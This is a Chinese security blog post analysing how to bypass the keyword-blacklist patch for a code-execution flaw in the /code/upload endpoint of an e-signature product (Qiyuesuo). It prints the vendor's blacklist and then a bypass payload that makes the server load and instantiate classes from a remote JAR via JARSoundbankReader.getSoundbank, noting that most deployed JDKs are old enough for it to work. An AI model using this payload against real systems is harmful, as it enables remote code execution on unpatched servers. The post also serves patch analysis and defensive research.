某电子签章补丁绕过

2025-03-21 113 0

前言

某电子签章补丁绕过插图

分析

这里是一个历史漏洞的补丁分析绕过。

几年前披露过/code/upload接口存在一个代码执行漏洞,官方也是一直有黑名单补丁去过滤。此接口具体漏洞这里不做分析,网上可以搜到具体分析文章。

叮~,补丁到手,找到对应的过滤方法com.qiyuesuo.security.patch.filter.wrapper.CustomCodeRequestWrapper#getParts

某电子签章补丁绕过插图1

可以看到关键字主要SENSITIVE_KEY_LISTS这个list,内容如下(截止目前2/24日最新补丁)

Runtime
Process
ProcessBuilder
SpelExpressionParser
invoke
Class.forName
newInstance
ClassLoader
Constructor
ObjectInputStream
ScriptEngine
parseExpression
getDeclaredField
setAccessible
getMethod
lookup
freemarker
security
Base64
SerializationUtils
deserialize
static
Yaml
JdbcRowSetImpl
Transformer
AgentManager

过滤大部分关于反序列、表达式注入的函数方法。

这里找到了另一种黑名单中不存在的

new com.sun.media.sound.JARSoundbankReader().getSoundbank(new java.net.URL("http://xxxxxx/xxxx.jar"));

JARSoundbankReader

利用点位于com.sun.media.sound.JARSoundbankReader#getSoundbank(java.net.URL)方法

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {
        Objects.requireNonNull(var1);
        if (Boolean.getBoolean("jdk.sound.jarsoundbank") && isZIP(var1)) {
            ArrayList var2 = new ArrayList();
            URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});
            InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");
            if (var4 == null) {
                return null;
            } else {
                try {
                    BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));

                    for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {
                        if (!var6.startsWith("#")) {
                            try {
                                Class var7 = Class.forName(var6.trim(), false, var3);
                                if (Soundbank.class.isAssignableFrom(var7)) {
                                    Object var8 = ReflectUtil.newInstance(var7);
                                    var2.add((Soundbank)var8);
                                }
                            } catch (ClassNotFoundException var14) {
                            } catch (InstantiationException var15) {
                            } catch (IllegalAccessException var16) {
                            }
                        }
                    }
                } finally {
                    var4.close();
                }

                if (var2.size() == 0) {
                    return null;
                } else if (var2.size() == 1) {
                    return (Soundbank)var2.get(0);
                } else {
                    SimpleSoundbank var18 = new SimpleSoundbank();

                    for(Soundbank var20 : var2) {
                        var18.addAllInstruments(var20);
                    }

                    return var18;
                }
            }
        } else {
            return null;
        }
    }

可以看到遵循了SPI机制,动态加载javax.sound.midi.Soundbank的实现类。

这里有一个问题:

官方在JDK8u362-b08加了限制,默认jdk.sound.jarsoundbank是不开的,需要我们手动去开,但是这套系统的JDK环境基本都到不了362这个版本,实际都是可以利用的。

某电子签章补丁绕过插图2

某电子签章补丁绕过插图3

最后

某电子签章补丁绕过插图4

某电子签章补丁绕过插图5

某电子签章补丁绕过插图6

本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

ingress-nightmare 漏洞利用分析与 k8s 相关组件理解
分析CVE-2024-4577
WordPress wpdm-premium-packages SQL注入漏洞(CVE-2025-24659)
记一次新手小白java反序列化——cc1链的学习
WordPress 未授权本地文件包含漏洞(CVE-2025-2294)
SQL注入绕waf姿势:sleep被过滤了怎么办?

发布评论